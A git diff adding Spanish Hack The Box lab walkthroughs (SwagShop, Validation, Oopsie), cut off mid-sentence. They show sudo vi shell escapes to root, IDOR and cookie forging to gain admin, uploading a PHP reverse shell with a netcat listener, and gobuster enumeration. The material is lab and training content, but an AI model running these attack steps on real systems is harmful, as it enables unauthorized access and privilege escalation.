09-40-18](https://user-images.githubusercontent.com/103068924/166882143-f5956c0b-4082-47f9-ac74-d434ad66b244.png) + + stty rows 36 columns 133 + +![Captura de pantalla -2022-05-05 09-41-31](https://user-images.githubusercontent.com/103068924/166882227-b7499110-b554-4723-bd39-0a0f0a107bf9.png) + +### Búsqueda de la primera Flag + +Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemente nos dirigimos al directorio raíz `/`: + + cd / + +![Captura de pantalla -2022-05-05 09-42-37](https://user-images.githubusercontent.com/103068924/166882396-a0bccd4e-d044-46f1-a1bb-eede2f31b9db.png) + +Y vamos a la carpeta `/home/haris` donde encontraremos el primer archivo `user.txt` con la primera flag. + +![Captura de pantalla -2022-05-05 09-43-43](https://user-images.githubusercontent.com/103068924/166882451-e9cfb587-c226-41ee-9de7-4db5ff5fd93e.png) + +## Búsqueda de la segunda Flag + +# Escalada de Privilegios. + +Ahora nos faltaría autentificarnos como `root`. Tras comprobar que no funcionan las credenciales previamente recopiladas en la base de datos mysql para conectarnos de forma +directa como `root`, así que vamos a tratar de utilizarlas para conectarnos mediante +`mysql`. + + mysql -uroot -p + +![Captura de pantalla -2022-05-05 02-03-56](https://user-images.githubusercontent.com/103068924/166876538-a70e3882-fcc1-41e8-b8e4-bf7df5866ab0.png) + +![Captura de pantalla -2022-05-05 02-04-07](https://user-images.githubusercontent.com/103068924/166851358-ed5dd0e2-c444-4863-b67b-14da258c33a0.png) + +Genial, ahora vemos como la password conseguida anteriormente en la base de datos dentro del archivo `local.xml` nos permite conectarnos. + +Una vez dentro de `mysql` vamos a ver las bases de datos: + + show databases; + +![Captura de pantalla -2022-05-05 02-07-44](https://user-images.githubusercontent.com/103068924/166851562-c968d37b-05e9-4cb5-a7ab-30d3a4a27b0e.png) + +Vemos como existe una base de datos llamada como la máquina `swagshop`. Intentemos ver sus tablas. Para ello primero ingresamos a ella mediante `use`: + + use swagshop; + + ![Captura de pantalla -2022-05-05 02-08-13](https://user-images.githubusercontent.com/103068924/166851750-9e57a5c0-80dd-4d4e-8c85-a2792a392f13.png) + +Y ahora visualizamos las tablas: + + show tables; + + +![Captura de pantalla -2022-05-05 02-08-48](https://user-images.githubusercontent.com/103068924/166851761-301986d3-9d61-4d90-8e09-b37fc0f94236.png) + +Vemos como se nos reportan un mentón, pero una de las más interesantes es `admin_user`. Para ver más información: + + describe admin_user; + + ![Captura de pantalla -2022-05-05 10-03-15](https://user-images.githubusercontent.com/103068924/166887057-ffb1ee39-564e-4bbd-bdf8-d88f8c13c034.png) + +Vamos a ver que se nos reporta dentro de `username` y `password`: + + select username,password from admin_user; + +![Captura de pantalla -2022-05-05 10-10-11](https://user-images.githubusercontent.com/103068924/166887447-06cbc0df-63c9-4eaa-a2ab-2e284b11654b.png) + +Vemos como nos reporta dos usuarios, `forme` que es el usuario que creamos nosotros a través del script de python3 y `haris` el cual nos indica una password hasheada. Yo he intentado descifrar el hash de varias maneras y no he conseguido extraer la contraseña. + +Al no poder encontrar la password decidí buscar vulnerabilidades ya reportadas de nuestro sistema, que nos permita +registrarnos como sudo. + +Lo primero es saber si tenemos algún tipo de privilegios: + + sudo -l + +![Captura de pantalla -2022-05-05 10-13-02](https://user-images.githubusercontent.com/103068924/166888310-2fda10fb-df1d-4c45-b8f8-8706909f2843.png) + +Vemos como nos permite ejecutar como `root` sin contraseña los siguientes directorios: `/usr/bin/vi` y `/var/www/html/*`. + + sudo /usr/bin/vi /var/www/html/* + +![Captura de pantalla -2022-05-05 10-13-50](https://user-images.githubusercontent.com/103068924/166892175-c475ec08-15f0-4494-929c-99734703eb22.png) + +![Captura de pantalla -2022-05-05 10-14-18](https://user-images.githubusercontent.com/103068924/166892210-554c4827-3990-4642-b2d0-9168f3bcf38c.png) + +Ahora buscaremos algún binario con el que poder aprovechar estos permisos y registrarnos como`root`. Para poder buscar estas vulnerabilidades por la red +debemos conocer el sistema que estamos comprometiendo, para ello, podemos ver las especificaciones del sistema mediante el siguiente comando: + + lsb_release -a + +![Captura de pantalla -2022-05-05 10-39-54](https://user-images.githubusercontent.com/103068924/166892361-80f52384-3136-425d-850c-29342a72a5f9.png) + +Podemos ver que nos encontramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario +que nos permite aprovechar los permisos anteriores y regístranos como `root`. + +Aquí podéis ver la página donde reportan el binario: [https://gtfobins.github.io/gtfobins/vi/](https://gtfobins.github.io/gtfobins/vi/) + +![Captura de pantalla -2022-05-05 02-19-31](https://user-images.githubusercontent.com/103068924/166852292-ce2463a1-2c01-4e04-9ebf-1c157e38df85.png) + +Para poder introducir el binario y utilizar los permisos que tenemos, debemos realizar lo siguiente: + + sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null + +![Captura de pantalla -2022-05-05 10-17-27](https://user-images.githubusercontent.com/103068924/166892568-06671371-d935-450f-90b3-92077917c43d.png) + +`sudo /usr/bin/vi /var/www/html/*` : Directorios donde tenemos los permisos. + +`-c ':!/bin/sh' /dev/null` : Binario para tratar de registranos como `root`. + +![Captura de pantalla -2022-05-05 10-18-06](https://user-images.githubusercontent.com/103068924/166892617-156e59bb-4084-4bf3-a51b-899e4b15f562.png) + +Genial, ya estamos como `root`. Podemos comprobarlo mediante el comando `whoami`. Finalmente, para encontrar nuestra flag, nos dirigimos al directorio `/root` donde encontramos el archivo `root.txt` con nuestra última flag. + +![Captura de pantalla -2022-05-05 10-18-19](https://user-images.githubusercontent.com/103068924/166892662-41b701a5-2f48-4aa0-a469-613deb2e8f90.png) + +![Captura de pantalla -2022-05-05 10-19-29](https://user-images.githubusercontent.com/103068924/166892692-9ec8c35d-bf9f-4661-9383-c883243fbcd1.png) + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Maquinas-HTB/HTB-Validation.md b/Web/Maquinas-HTB/HTB-Validation.md new file mode 100644 index 00000000000..49905527358 --- /dev/null +++ b/Web/Maquinas-HTB/HTB-Validation.md @@ -0,0 +1,116 @@ + +# HTB-Validation + +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir Validation + +Ahora, mediante la función `mkt` que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: + + sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +## Fase de Reconocimiento: + +Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux. + + ping -c 1 10.10.11.116 + +![Captura de pantalla -2022-07-20 10-30-17](https://user-images.githubusercontent.com/103068924/180005076-f47e79bb-ef02-40a7-8b6a-07fd7ac0f0bf.png) + +Ahora vamos a ver mediante `whatweb` que más podemos ver: + + whatweb 10.10.11.116 + +![Captura de pantalla -2022-07-20 10-34-08](https://user-images.githubusercontent.com/103068924/180005282-38818870-b4d1-4b7e-9ab1-2212b9c86537.png) + +Aquí en primer lugar nos muestra un codigo 200 de confirmación, el cual nos indica que la petición se ha realizado correctamente y tengamos un +servicio web activo. Tambien vemos que nos encontramos frente un sistema +Apache de versión 2.4.48. + +Podemos ver tambien como utilizael framework de desarrollo wep `Bootstrap`. + +* ¿Qué es Bootstrap? --> Link + +Finalmente podemos ver que utiliza la biblioteca de JavaScript `jQuery` y utiliza la versión 7.4.23 del lenguaje de programación PHP. + +Vamos a tratar de averiguar que puertos se encuentran abiertos utilizando la +herramienta `nmap`. + +# Nmap + +Nos desplazamos hasta la carpeta `nmap` que hemos creado dentro de `Validatio`. + +En primer lugar vamos a realizar un escaneo básico para ver que puertos TCP y UDP se encuentran abiertos, para utilizar `nmap` debemos +ser `root`: + + nmap -p- --open -T5 -vvv -n 10.10.11.116 -oG allPorts + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-T5` : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. + +`-vvv` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. + +`-n` : Anula la resolución DNS. + +`-oG` : Exportar los resultados en formato grepeable. + +`allPorts` : Nombre del archivo donde se guardan los resultados. Si no existe lo creará. + +Los resultados del escaneo quedarán guardados en el archivo `allPorts`. De esta manera podremos revisar los puertos que estaban abiertos en cualquier +momento. + +![Captura de pantalla -2022-07-20 14-03-41](https://user-images.githubusercontent.com/103068924/180032930-cc4431a2-1682-409b-a2f0-995e6cd4af2d.png) + +El escaneo nos reporta unos cuantos puesto abiertos, vamos a ver para que sirven cada uno de ellos: + +* `Puerto 22`: Por normal general este puerto se usa para conexiones seguras SSH y SFTP, siempre que no hayamos cambiado el puerto de escucha de nuestro servidor SSH. + +* `Puerto 80`: Este puerto es el que se usa para la navegación web de forma no segura HTTP. + +* ` Puerto 4566`: Usa el Protocolo de Control de Transmisión `TCP`. El puerto 4566 garantiza la entrega de paquetes de datos en la misma orden, en que fueron mandados. Solo cuando la conexión es determinada, los datos del usuario pueden ser mandados de modo bidireccional por la conexión. En este caso el puerto 4566 nos muetra el servicio `kwtc` (KWTC --> Kids Watch Time Control Service), parece ser algún tipo de aplicación parental para niños. + +* `Puerto 8080`: Es el puerto alternativo al puerto 80 TCP para servidores web, normalmente se utiliza este puerto en pruebas. + +Bien ya tenemos una base, ahora vamos a tratar de realizar otro escaneo un poco más exahustivo lanzando una serie +de scripts básicos de reconocimiento sobre los puertos que hemos encontrado: + + nmap -sC -sV -n -vvv -p22,80,4566,8080 10.10.11.116 -oN target + + +`-sC` : Lanza scripts básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. Ej: -p22,80,... + +`-oN` : Reporta los resultados en formato nmap al archivo `targed`. + +![Captura de pantalla -2022-07-20 18-48-30](https://user-images.githubusercontent.com/103068924/180038969-37faba03-8edf-40b7-aa9a-bb186777e820.png) + +Vemos que el puerto 22/tcp corre un servicio `ssh`, que el puerto 4566/tcp nos devuelve un `403 Forbidden` y el +puerto 8080 nos devuelve un `502 Bad Gateway`. Por tanto vamos a tratar de utilzar el único que de momento nos es +funcional, el puesto 80. + +Como el pueto 80 es el que se usa para la navegación web, vamos al buscador y a ver que resultados nos reporta: + +![Captura de pantalla -2022-07-20 10-39-27](https://user-images.githubusercontent.com/103068924/180041181-35a05afa-ba3b-4889-b978-8893cd65767a.png) + +Vemos lo que parece una página de registro muy simple. Vamoa a ver que información nos aporta el Wappalyzer: + +![Captura de pantalla 2022-07-20 103857](https://user-images.githubusercontent.com/103068924/180041947-b495d194-8bde-4542-b035-7891a5098d76.png) + +No parece reportarnos nada que la herramienta `whatweb` no nos haya mostrado ya. Vamos tratar de introducir algunas credenciales para ver como se comporta +el panel de registro. + + + + + + + diff --git a/Web/Starting Point/HTB-Oopsie.md b/Web/Starting Point/HTB-Oopsie.md new file mode 100644 index 00000000000..d6c49cde725 --- /dev/null +++ b/Web/Starting Point/HTB-Oopsie.md @@ -0,0 +1,599 @@ +# HTB-Oopsie + +![background2](https://user-images.githubusercontent.com/103068924/162303201-c75e17fd-4e23-40e4-845a-c7c40e6ed3ed.png) + +![Captura de pantalla -2022-04-12 20-08-28](https://user-images.githubusercontent.com/103068924/163026464-d0c81cf4-ce40-4fcc-9369-082a366558cf.png) + +En primer lugar, vamos a comprobar si tenemos conexión + con la máquina. Y si podemos averiguar el sistema + operativo que utiliza mediante el ttl. + + ping [Ip Víctima] + +![Captura de pantalla -2022-04-12 20-04-31](https://user-images.githubusercontent.com/103068924/163026403-f74332d1-582a-43d0-9cb5-6dc1f4b170dc.png) + + Podemos observar que tiene un ttl=63, por tanto, ya + sabemos que estamos frente a una máquina Linux. + + Ahora podemos escanear los puertos mediante nmap. + + nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts + +![Captura de pantalla -2022-04-12 20-11-38](https://user-images.githubusercontent.com/103068924/163026657-0e7a094b-7f45-44ef-9fec-33bd43400f94.png) + + Esto nos guardará los puertos abiertos en el archivo + 'allPorts' por si posteriormente queremos revisarlos + de manera rápida accediendo al archivo guardado en + nuestro directorio mediante la herramienta 'extractPorts'. + + Puedes encontrar la descripción y la herramienta extractPorts + creada por S4vitar en mi repositorio: [ExtractPorts](https://f1r0x.github.io/Herramientas_y_Scripts/ExtractPorts.html) + + Es este caso podemos observar los siguientes puertos + abiertos por el protocolo TCP: + + + ![Captura de pantalla -2022-04-12 20-16-22](https://user-images.githubusercontent.com/103068924/163027420-450280c2-ee41-4331-845e-0374bc6a8836.png) + + PORT STATE SERVICE + + 22/tcp open ssh + + 80/tcp open http + + + Ahora pasaremos a realizar un escaneo más exhaustivo: + + nmap -sC -sV -v -p22,80 [Ip Víctima] -oN target + + ![Captura de pantalla -2022-04-12 20-18-19](https://user-images.githubusercontent.com/103068924/163027847-ca47db77-4fdc-4852-ab48-049a2185332e.png) + + + -sC : Lanza scrips básicos de reconocimiento. + + -sV : Localiza la versión y servicio de los puertos + definidos. + + -p : Puertos a escanear. Ej: -p22,80 + + -oN : Reporta los resultados en formato nmap al archivo + targed. + + Este escaneo, al igual que el anterior, nos guardará los + resultados en nuestro directorio en el archivo 'target'. + + ![Captura de pantalla -2022-04-12 20-18-36](https://user-images.githubusercontent.com/103068924/163027908-147fd6e0-e6fb-45bd-83c2-5cc108baa84f.png) + + Como podemos observar, obtenemos la siguiente información: + + -Puerto 22 corre un servicio ssh con la versión + OpenSSH 7.6p1. + + -Puerto 80 corre un servicio http operativo con la versión Apache httpd 2.4.29. + + Nos dirigimos al buscador y trataremos de introducir la Ip como host para ver si nos redirige hacia alguna + página web. + + Efectivamente, la dirección http://[Ip Víctima] nos muestra una página web sobre vehículos eléctricos. + +![Captura de pantalla -2022-04-12 20-21-26](https://user-images.githubusercontent.com/103068924/163028827-497c18bd-3434-4e4a-9d65-0d21f6d8de26.png) + + Bueno, tras investigar un poco la página podemos ver como ningúna de las pestañas esta activa, tambien podemos + ver en la parte inferior de la página, en un apartado llamado Services, nos indica que porfavor nos registremos + para tener acceso al servicio. + +![Captura de pantalla -2022-04-12 20-29-57](https://user-images.githubusercontent.com/103068924/163029501-1f3ee38d-5925-4505-a8f3-f44d4ec1c65c.png) + + Por lo que podemos suponer que tiene que existir alguna página de registro por la que poder acceder. + Visto esto vamos a echar un vistazo al código fuente de la página para ver si encontramos alguna dirección + de registro. + + Para ver el código fuente de una página, clic derecho sobre la página y luego 'Ver código fuente de la página'. + + ![Captura de pantalla -2022-04-12 20-35-40](https://user-images.githubusercontent.com/103068924/163030380-53f4419e-6e68-472d-bc81-be3d9d2f3477.png) + + En la parte final del ćodigo podemos ver como muestra un directorio login. Vamos a tratar de acceder a él mediante + el buscador para ver que nos reporta. + + ![Captura de pantalla -2022-04-12 20-38-21](https://user-images.githubusercontent.com/103068924/163030801-b7d8df3d-38b9-4d0f-83ee-55ed33284cef.png) + + Ahora tenemos un sitio desde el que acceder. Ya que desconocemos el usuario y la contraseña (yo he probado los + más comunes y no he tenido suerte) vamos a acceder como invitados. Para ello le daremos a la opción Login as + Gues y tendremos acceso como invitados. + +![Captura de pantalla -2022-04-12 20-43-14](https://user-images.githubusercontent.com/103068924/163031583-c15f6fe6-be42-4aa0-89e0-44a906660539.png) + +Podemos ver que tenemos diferentes pestañas, vamos a revisarlas una por una para ver la información que nos +aportan: + +# Account + +![Captura de pantalla -2022-04-12 20-46-08](https://user-images.githubusercontent.com/103068924/163032093-35422154-b58a-4d74-8fd1-9eb8540f9f82.png) + +Dentro de account tenemos información sobre el usuario guest, un Access Id, su nombre y un correo electrónico. +Luego he revisado el código fuente, pero en este caso no me ha reportado mucha información. + +También es interesante ver la url de la página, ya que nos asigna una id=2. + +![Captura de pantalla -2022-04-12 20-48-35](https://user-images.githubusercontent.com/103068924/163032502-688b1ca0-e809-4327-b327-9fe966096fca.png) + +Tras inspeccionar las cookies es donde encontramos algo interesante. + +![Captura de pantalla -2022-04-12 20-54-39](https://user-images.githubusercontent.com/103068924/163033432-4fbc584c-ec0d-42c1-bc50-709e6d8bc50d.png) + +Podemos ver como está página utiliza cookies de inicio de sesión, en caso de tener otro role y otro user, podríamos +intentar cambiarlos y ganar acceso a otra cuenta. + +Bien, ahora pasaremos a la siguiente pestaña a ver que más nos puede reportar. + +# Branding + +![Captura de pantalla -2022-04-12 21-39-41](https://user-images.githubusercontent.com/103068924/163040582-9d571a01-4f86-49ce-9c5f-75d654c9cf40.png) + +Aquí podemos ver como se nos asigna una Brand Id = 2 y también podemos ver como las cookies de inicio de sesión +se mantienen. + +# Clients + +![Captura de pantalla -2022-04-12 21-43-09](https://user-images.githubusercontent.com/103068924/163041152-679d8735-82e5-497b-a965-ab3de84a2654.png) + + Vemos como se nos continua asignando una ID = 2 y nos muestra un nombre 'client'. + +# Uploads + +![Captura de pantalla -2022-04-12 21-45-19](https://user-images.githubusercontent.com/103068924/163041448-d44b6a48-5073-45ff-bccb-7d51e39f892f.png) + +Esta pestaña es muy interesante, ya que parece que sirve para subir archivos a la página. El único problema +es que no tenemos permisos de 'súper admin'. + +En caso de tenerlos podríamos subir algún archivo para tratar de vulnerar la máquina o de escalar privilegios. + +# Recopilación de toda la información: + +Tras investigar por todas las pestañas, lo más interesante que he encontrado es que todos los id del usuario +actual son iguales a 2. + +También me llama la atención como en la url de la pestaña nos especifica la id=2 + +![Captura de pantalla -2022-04-12 21-54-39](https://user-images.githubusercontent.com/103068924/163042869-a1df4c54-f66a-4f39-b2dd-4bfc1e4bde75.png) + +Y otra cosa importante, son las cookies de inicio de sesión que hemos encontrado. + +Ahora, tras conocer toda esta información, lo que podemos hacer es probar otras 'id' en la url de la pestaña +'Account'. Simplemente, introducimos la misma url, pero probamos con otros valores (0,1,3,4,...). + +![Captura de pantalla -2022-04-12 22-00-19](https://user-images.githubusercontent.com/103068924/163043808-0172257b-1519-45d8-8ed5-3752595187da.png) + +El primer intento ha sido con 0 y vemos como no ha tenido resultado. + +![Captura de pantalla -2022-04-12 22-01-14](https://user-images.githubusercontent.com/103068924/163044402-0c82b941-dab9-4211-803a-4cfe55d354a9.png) + +Al segundo intento, mediante el número id=1 vemos como nos reporta información de un usuario llamado 'admin'. Pero +nosotros buscamos al usuario 'super admin', ya que es el que tiene pleno acceso a la carga de archivos de la +pestaña Upload, así que seguimos probando. + +![Captura de pantalla -2022-04-12 22-02-47](https://user-images.githubusercontent.com/103068924/163044418-a4cbd28f-f9a7-4069-a2c3-6ccb0a2e32c2.png) + +Vemos como tras muchos intentos vacíos, nos muestra algunos usuarios. + +![Captura de pantalla -2022-04-12 22-03-43](https://user-images.githubusercontent.com/103068924/163044454-f20e27ad-192f-455b-898a-bda8336c4bc3.png) + +Finalmente, tras 30 intentos, lo conseguimos. El id=30 pertenece al usuario 'super admin'. + +![Captura de pantalla -2022-04-12 22-04-28](https://user-images.githubusercontent.com/103068924/163044499-978e1f8c-f344-4231-95d0-c7b5b0727c06.png) + +# Cookies de inicio de sesión: + +Ya conoces el Acces ID (86575) y el Name (super admin), ahora tenemos que iniciar sesión como ese usuario. +Tras probar a iniciar sesión desde la página anterior de registro a la que accedimos como 'Gues', veo que +no me permite entrar, ya que aun desconocemos la contraseña. + +Entonces utilizaremos las cookies de inicio de sesión para intentar acceder como super admin. Para ello, en la +misma pestaña de Account, pulsamos clic derecho sobre la página y pulsamos 'Inspeccionar', dentro nos desplazaremos +hasta la pestaña 'Almacenamiento'. + +![Captura de pantalla -2022-04-12 22-24-01](https://user-images.githubusercontent.com/103068924/163047604-4abab7f4-15bd-4755-8c02-8adcef856ced.png) + +Dentro de 'Almacenamiento' veremos una pestaña llamada 'Cookies' y el dominio de la página. Bueno, pues el truco +consiste en cambiar los parametros 'role' y 'user' actuales por los del super admin. + +![Captura de pantalla -2022-04-12 22-25-21](https://user-images.githubusercontent.com/103068924/163047637-11e2b9cb-3cf8-46f4-9221-93a5c95f2696.png) + +Una vez introducimos los nuevos datos, recargamos la página y ya tendríamos acceso como super admin. +Para comprobarlo, nos vamos a la pestaña Uploads y vemos como ya nos permite subir archivos. + +![Captura de pantalla -2022-04-12 22-26-27](https://user-images.githubusercontent.com/103068924/163048085-17970a2a-aef6-4511-893c-a0f7cc9a4ade.png) + +# NetCat y Reverse-Shell + +Bueno, ahora que ya podemos subir archivos al sistema, vamos a probar a crear una reverse-shell.php, ya que la +url utiliza archivos '.php'. + +![Captura de pantalla -2022-04-13 12-05-12](https://user-images.githubusercontent.com/103068924/163155180-2eef861b-2b0c-4134-9a93-7ce0c84388fb.png) + +########################### php-reverse-shell.php ################################ + +En caso de utilizar Kali Linux o Parrot, lo más seguro es que ya tengáis una reverse-shell en vuestros repositorios. +En mi caso que utilizo parrot, si realizamos una búsqueda del archivo 'php-reverse-shell.php' podemos ver como se +aloja en los siguientes directorios: + +![Captura de pantalla -2022-04-13 12-05-12](https://user-images.githubusercontent.com/103068924/163155773-14809f0c-7c41-40a0-93fc-7274badd19df.png) + +En mi caso me aparece en dos repositorios y luego yo he realizado una copia en la carpeta Descargas para poder +configurar con nuestros datos nuestra reverse-shell. Es importante copiar el archivo en la carpeta 'Descargas', +ya que será difícil buscar nuestro archivo desde la página de Uploads a la hora de subirlo. + +En caso de no tener el archivo php-reverse-shelll.php en vuestro sistema, lo podéis encontrar en mi repositorio +de GitHub mediante el siguiente enlace: [https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php](./https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php) + +Para tenerlo, simplemente lo copiáis, abrís una terminal y crearemos el archivo mediante nano: + + nano php-reverse-shell.php + +Pegamos todo el script, guardamos (Cntrl + o) y salimos (Cntrl + x). + +# Configurar nuestra reverse-shell: + +Ya tendríamos la reverse-shell, ahora solo faltaría configurarla. Para ello, desde el directorio en el que esté +el archivo php-reverse-shell.php (recomiendo que sea Descargas), mediante el comando nano cambiaremos la Ip por +la nuestra y estableceremos un puerto, desde el cual, posteriormente con NetCat nos pondremos en escucha. + +La configuración es muy simple, lo único que tenemos que hacer es cambiar la Ip +por la de nuestro sistema y establecer el puerto por el que queremos ponernos +en escucha. + +Abrimos una terminar y modificamos el archivo php-reverse-shell.php + + sudo nano php-reverse-shell.php + + +![Captura de pantalla -2022-04-13 12-42-02](https://user-images.githubusercontent.com/103068924/163163832-7a4632e4-a547-4ac4-b3a2-24cb5c7075e7.png) + +Establecemos nuestra Ip (tun0) y el puerto de escucha (en este ejemplo usaremos el 8080). Para saber +cuál es nuestra Ip, podemos verlo mediante el comando 'ipconfig': + + sudo ifconfig + +![Captura de pantalla -2022-04-13 13-01-50](https://user-images.githubusercontent.com/103068924/163166666-8c4d0990-f186-4775-be03-71e20fc4cb32.png) + +![Captura de pantalla -2022-04-13 12-42-15](https://user-images.githubusercontent.com/103068924/163163897-cf030c6f-617c-458e-b1ab-6f89c3ba5a25.png) + +Guardamos (Cntrl + o) y salimos (Cntrl + x). + +Ya tendríamos nuestro archivo php-reverse-shell.php preparado. Ahora lo siguiente seria tratar de subirlo a la +página desde la pestaña Uploads. + +(NOTA: La Ip de la máquina que yo os muestro a lo largo del write-up va cambiando debido a que realizarlo +ha llevado horas y he tenido que reiniciar varias veces la máquina) + +![Captura de pantalla -2022-04-13 13-05-15](https://user-images.githubusercontent.com/103068924/163167449-e3ecf585-c2b0-4ada-bf15-65948855ebc2.png) + +Para ello simplemente vamos a la página, pulsamos examinar: + +![Captura de pantalla -2022-04-13 13-05-24](https://user-images.githubusercontent.com/103068924/163167470-2f5b1a66-854f-411a-9dae-f41c159e3d27.png) + +Seleccionamos nuestra reverse-shell: + +![Captura de pantalla -2022-04-13 13-05-48](https://user-images.githubusercontent.com/103068924/163167513-4311b8e0-b094-4859-b917-2f6758945497.png) + +Y finalmente pulsamos Upload: + +![Captura de pantalla -2022-04-13 13-06-14](https://user-images.githubusercontent.com/103068924/163167561-97fb1091-3d56-46ef-991f-55f67084cf3c.png) + +Perfecto, ya tendríamos nuestro archivo subido. + +![Captura de pantalla -2022-04-13 13-06-42](https://user-images.githubusercontent.com/103068924/163167608-faa10f70-d676-44d5-b261-2b197eae910e.png) + + Ahora faltaría preparar nuestro NetCat para que se ponga en modo escucha por el puerto 8080. + Antes de probar el 8080 probé otros con el cual no conseguí establecer conexión para que + lo tengáis en cuenta. + + Para ponernos en escucha, abrimos una terminal y ejecutamos el siguiente comando: + + nc -lnvp 8080 + + -l : Sirve para que Netcat abra un puerto y se mantenga ala escucha. Se aceptará una única conexión de un + único cliente antes de cerrarse. + + -n : Direcciones IP solo numéricas, sin DNS. + + -v : Se usa para mostrar información acerca de la conexión. + + -p : Esta opción permite especificar el puerto al que conectarse. + +![Captura de pantalla -2022-04-13 13-25-27](https://user-images.githubusercontent.com/103068924/163170156-2409012e-2a0e-4657-8d97-247bd3862179.png) + +El siguiente paso sería ejecutar el archivo php-reverse-shell.php que hemos almacenado en la +máquina víctima. El único problema es que no sabemos donde se ha almacenado nuestro archivo. +Para encontrar nuestro archivo utilizaremos la herramienta 'gobuester'. + +# Gobuster + +Gobuster es una herramienta utilizada para la fuerza bruta de búsqueda de URL, incluidos directorios y archivos, +así como subdominios DNS. + +Para instalarlo simplemente ejecutamos: + + sudo apt install gobuster + + Y también tendremos que descargar los repositorios de direcciones, en esta ocasión utilizaremos un + repositorio llamado 'wordlists' y en concreto la lista de directorios 'directory-list-2.3-small.txt. + + Podéis descargaros estas bibliotecas de directorios desde la misma página de github, existen un montón + de variantes en función del sistema a explotar. De todas formas revisar primero si ya existe en + vuestro sistema, ya que algunos SO traen repositorios instalados. + + Para descargar o copiar: + + [https://gist.github.com/sl4v/c087e36164e74233514b](./https://gist.github.com/sl4v/c087e36164e74233514b) + + En ese enlace encontraréis la biblioteca que vamos a utilizar, yo recomiendo instalarlo en el siguiente + directorio, si el directorio no existe crearlo.: + + /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt + + + Bien, ya tenemos nuestro Gobuster y nuestra biblioteca de directorios, ahora toca lanzar la herramienta a ver + que nos reporta: + + gobuster dir --url http://[Ip Víctima]/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php + + Ahora gobuster empezará a realizar pruebas y a mostrarnos resultados a medida que avanza. No tenemos que esperar a + que finalice, simplemente fijaros en cuales son los directorios que reporta y ir probando a ver cuáles son + funcionales. + +![Captura de pantalla -2022-04-13 13-56-08](https://user-images.githubusercontent.com/103068924/163174943-ef87aba2-a3da-4ede-aeae-447ea841f8ad.png) + + Para el proceso: Cntrl + c + + En este caso hemos tenido suerte, ya que al poco de buscar ha encontrado una ruta que nos dirige al directorio + Uploads. + + http://[Ip Víctima]/uploads/ + + Una vez hecho esto nos dirigiremos al navegador y trataremos de introducir la siguiente ruta: + + http://[Ip Víctima]/uploads/php-reverse-shell.php + +![Captura de pantalla -2022-04-13 13-46-48](https://user-images.githubusercontent.com/103068924/163173691-3a6ffdf3-68f3-4118-af32-35aaba15b3a4.png) + + Una vez realizado esto, volvemos a la terminal donde se encontraba el 'netcat' y debería de haberse abierto + nuestra shell. + +![Captura de pantalla -2022-04-13 13-48-41](https://user-images.githubusercontent.com/103068924/163173725-66250263-5c8b-4878-8549-897c4cfb935b.png) + + Efectivamente, ya tenemos nuestra reverse-shell preparada y activa. + + # Búsqueda de la primera Flag: + + Una vez tengamos la shell activa, podemos ver los directorios mediante ls: + + ![Captura de pantalla -2022-04-13 14-59-23](https://user-images.githubusercontent.com/103068924/163187298-bce39584-72ea-45bd-83f0-e9dd8cf827cd.png) + + Vamos a ver que Usuarios tenemos registrados en el sistema, para ello nos dirigimos al directorio /home y vemos + que existe el usuario 'robert'. + + ![Captura de pantalla -2022-04-13 15-00-24](https://user-images.githubusercontent.com/103068924/163187555-39762713-a2b8-494b-8119-3d63bf5243f1.png) + + Y bingo!! Dentro del directorio 'robert' podemos ver el archivo 'user.txt' que contiene la primera Flag. + + ![Captura de pantalla -2022-04-13 15-00-44](https://user-images.githubusercontent.com/103068924/163187928-3efd9b72-3992-4036-923d-d6ae79a7686a.png) + + Mediante el comando 'cat' podemos ver en la terminal el contenido del archivo: + + cat user.txt + + ![Captura de pantalla -2022-04-13 15-02-39](https://user-images.githubusercontent.com/103068924/163187942-4cde5ee7-b0eb-418c-b192-e719391765f7.png) + +Ahora, para poder trabajar de manera más cómoda y tratar de escalarar privilegios, primero, abriremos una shell +más funcional. Para ello volvemos al directorio principal mediante cd y ejecutamos el siguiente comando: + + python3 -c 'import pty;pty.spawn("/bin/bash")' + +![Captura de pantalla -2022-04-21 08-17-19](https://user-images.githubusercontent.com/103068924/164386987-26be3445-32af-43fe-86e4-cb706405152c.png) + +![Captura de pantalla -2022-04-21 08-17-46](https://user-images.githubusercontent.com/103068924/164387012-eed5d362-cf52-4c9b-bbe8-dea4a252ab4a.png) + +Bien, ahora ya tenemos una shell más segura y funcional. Ya hemos visto que con el usuario actual no podemos +hacer mucho más, ya que tenemos el acceso restringido al sistema. + +Ya que el sitio web utiliza PHP y SQL, podemos tratar de comprobar el directorio web en busca de posibles +divulgaciones o configuraciones incorrectas. + +Para ello revisamos los directorios situados en '/var/www/html/'. Tras revisar los distintos directorios, podemos +ver uno con el nombre 'login' (/var/www/html/cdn-cgi/login) que contiene distintos archivos. + +![Captura de pantalla -2022-04-21 08-26-47](https://user-images.githubusercontent.com/103068924/164388471-47ec0d82-21a7-4605-add7-ad0acd87390e.png) + +Aparecen tres archivos '.php' y uno '.js', el siguiente paso sería buscar información en el codigo fuente de cada +archivo. Para ello, buscaremos cadenas interesantes con el uso de la herramienta 'grep'. + +Grep es una herramienta que busca patrones en cada archivo e imprime las líneas que coinciden con los patrones. +Junto a esta herramienta podemos 